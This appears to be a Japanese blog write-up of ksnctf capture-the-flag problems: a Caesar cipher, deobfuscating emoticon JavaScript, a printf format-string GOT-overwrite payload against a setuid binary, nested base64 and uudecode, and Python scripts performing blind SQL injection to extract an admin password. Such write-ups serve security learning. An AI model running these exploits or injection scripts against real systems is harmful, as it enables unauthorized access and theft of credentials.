※ 最新版の記事は はてなブログ にあります。
https://ksnctf.sweetduet.info/ の問題の write-up です。
ソースコード等は https://github.com/gky360/study_ctf/tree/master/knsctf にあげています。
2. Easy Cipher
定番のcaesar暗号です。
3. Crawling Chaos
問題概要
http://ksnctf.sweetduet.info/q/3/unya.html
が与えられます。フォームが1つある単純なwebページに見えます。フォームに何を入れてSubmitボタンを押しても "No" というアラートが出るばかりです。
ポイント
- javascriptの文法
解法
unya.html のソースを見ると、 head タグの中に長ーい script タグがあり、何やら(文字通り)うにゃうにゃと書いてあります。
(ᒧᆞωᆞ)=(/ᆞωᆞ/),(ᒧᆞωᆞ).ᒧうー=-!!(/ᆞωᆞ/).にゃー,(〳ᆞωᆞ)=(ᒧᆞωᆞ),(〳ᆞωᆞ).〳にゃー=- -!(ᒧᆞωᆞ).ᒧうー, (後略)
js の変数名や関数名には実は日本語を用いることができるので、これは文法的に正しい js となっています。
ちなみに、このような js は http://sanya.sweetduet.info/unyaencode/ で生成できるようです。
最初の部分を読み解いてみます。日本語の変数名と関数名をアルファベットに置き換えると、
(ᒧᆞωᆞ)=(/ᆞωᆞ/),(ᒧᆞωᆞ).ᒧうー=-!!(/ᆞωᆞ/).にゃー
は
(a)=(/ᆞωᆞ/),(a).b=-!!(/ᆞωᆞ/).c
と同じとみなせます。さらに読み解くと、以下のようになことがわかります。
-
/
〜/
で囲まれた部分は正規表現 -
a
は正規表現を表す変数で、RegExp
クラスのインスタンス -
a
にb
というプロパティを追加して値を代入 -
(/ᆞωᆞ/).c
は変数/ᆞωᆞ/
の存在しないプロパティを参照しているので、undefined
となる -
!
をつけると bool に変換、-
をつけると数値に変換、と考えることができるので-!!undefined
は-0
となる - よって
a.b
には-0
が代入される
このような感じで、うにゃうにゃ言っているだけに見えるコードでも意味の有りそうな動作をしています。
この調子で読んでいくのは大変なので、script タグの中身を unya.js
として保存し node unya.js
で実行します。すると、以下のようなエラーになります。 jQuery を import していないので $
が定義されていないと怒られていますが、注目すべきはエラーとなった部分のコードが吐かれている点です。
undefined:2
$(function(){$("form").submit(function(){var t=$('input[type="text"]').val();var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);var f=false;if(p.length==t.length){f=true;for(var i=0;i<p.length;i++)if(t.charCodeAt(i)*(i+1)!=p[i])f=false;if(f)alert("(」・ω・)」うー!(/・ω・)/にゃー!");}if(!f)alert("No");return false;});});
^
ReferenceError: $ is not defined
吐かれたコードを読み解いてみます。
$(function(){
$('form').submit(function(){
var t=$('input[type="text"]').val();
var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);
var f=false;
if(p.length==t.length){
f=true;
for(var i=0; i<p.length; i++)
if(t.charCodeAt(i)*(i+1)!=p[i])
f=false;
if(f)
alert('(」・ω・)」うー!(/・ω・)/にゃー!');
}
if(!f)
alert('No');
return false;
});
});
これは、フォームに与えられた文字列 t
を1文字ずつ数値に変換したものが、 p
の各要素と等しくなっているかどうかを調べる、というようなことをしています。以下のスクリプトで、このような t
を p
から逆に求めることができます。
var p = Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);
var t_nums = p.map((n, i) => { return n / (i + 1); });
var t = String.fromCharCode(...t_nums);
console.log(t);
4. Villager A
問題概要
ssh の user と pass が与えられる。sshしてみると、 ~/
に以下のようなファイルが置いてある。
-r--------. 1 q4a q4a 22 May 22 2012 flag.txt
-rwsr-xr-x. 1 q4a q4a 5857 May 22 2012 q4
-rw-r--r--. 1 root root 151 Jun 1 2012 readme.txt
ポイント
- print format attack(セキュリティコンテストチャレンジブック 2.4.2)
- GOT overwrite(セキュリティコンテストチャレンジブック 2.4.2)
解法
結論から言うと、以下のように実行するとflagを得られます。
echo -e '\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn' | ./q4
printfの書式設定の脆弱性を利用すると、メモリの中の値を出力したり、メモリの値を書き換えたりできます。この脆弱性を利用して、 eip を奪い好きな関数を実行させることができます。詳しくは GOT overwrite ~ ksnctf #4 Villager A ~ に分かりやすい説明があるのでそちらを参照してください。
5. Onion
問題内容
すごく長い文字列が与えられます。
ポイント
- base64
- uuencode
解法
与えられた文字列は base64 っぽさが漂っています。そこでとりあえず base64 decode してみます。
echo [問題文] | base64 -D
すると少し短い文字列が出てきます。
この文字列は実は、ある文字列を繰り返し base64 encode したものになっています。このことは問題名の「Onion」にもあらわれています。従って、 base64 decode を繰り返していくと、だんだん文字列が短くなり、ほしい文字列が得られます。16回目で以下の文字列が得られます。
begin 666 <data>
51DQ!1U]&94QG4#-3:4%797I74$AU
end
これは何でしょう。 begin 666 <data>
でクグります。すると、これはどうやら uuencode されたデータだとわかります。
以下を shell で実行すると flag.txt にフラグが出力されます。
uudecode <<EOF (git)-[master]
begin 666 flag.txt
51DQ!1U]&94QG4#-3:4%797I74$AU
end
EOF
6. Login
問題概要
login フォームが与えられます。
ポイント
- SQLインジェクション
解法
まず、SQLインジェクションしてみます。 ' or 1=q --
を入力すると、以下のものが吐かれる。
Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.
Hint:
<?php
function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}
$id = isset($_POST['id']) ? $_POST['id'] : '';
$pass = isset($_POST['pass']) ? $_POST['pass'] : '';
$login = false;
$err = '';
if ($id!=='')
{
$db = new PDO('sqlite:database.db');
$r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
$login = $r && $r->fetch();
if (!$login)
$err = 'Login Failed';
}
?><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title>
</head>
<body>
<?php if (!$login) { ?>
<p>
First, login as "admin".
</p>
<div style="font-weight:bold; color:red">
<?php echo h($err); ?>
</div>
<form method="POST">
<div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div>
<div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div>
<div><input type="submit"></div>
</form>
<?php } else { ?>
<p>
Congratulations!<br>
It's too easy?<br>
Don't worry.<br>
The flag is admin's password.<br>
<br>
Hint:<br>
</p>
<pre><?php echo h(file_get_contents('index.php')); ?></pre>
<?php } ?>
</body>
</html>
最初の数行にある通り、admin のパスワードを見つければいいようです。
SQLインジェクションを利用してパスワードを見つけていきます。まず、パスワードの長さを見つけます。
import requests
url = 'http://ctfq.sweetduet.info:10080/~q6/'
for i in range(1, 100):
sql = 'admin\' AND (SELECT LENGTH(pass) FROM user WHERE id = \'admin\') = {counter} --'.format(
counter=i)
payload = {
'id': sql,
}
response = requests.post(url, data=payload)
if len(response.text) > 2000:
print('length of the password is {counter}'.format(counter=i))
break
これで、パスワードの長さは21とわかります。
次に21文字のパスワードを1文字ずつ見つけていきます。SQL の SUBSTR
句を使います。
import requests
url = 'http://ctfq.sweetduet.info:10080/~q6/'
password = ''
for index in range(1, pass_len + 1):
for char_number in range(48, 123):
char = chr(char_number)
sql = 'admin\' AND SUBSTR((SELECT pass FROM user WHERE id = \'admin\'), {index}, 1) = \'{char}\' --'.format(
index=index, char=char)
payload = {
'id': sql,
'pass': ''
}
response = requests.post(url, data=payload)
if len(response.text) > 2000:
print(char, end="")
password += char
break
print()
print(password)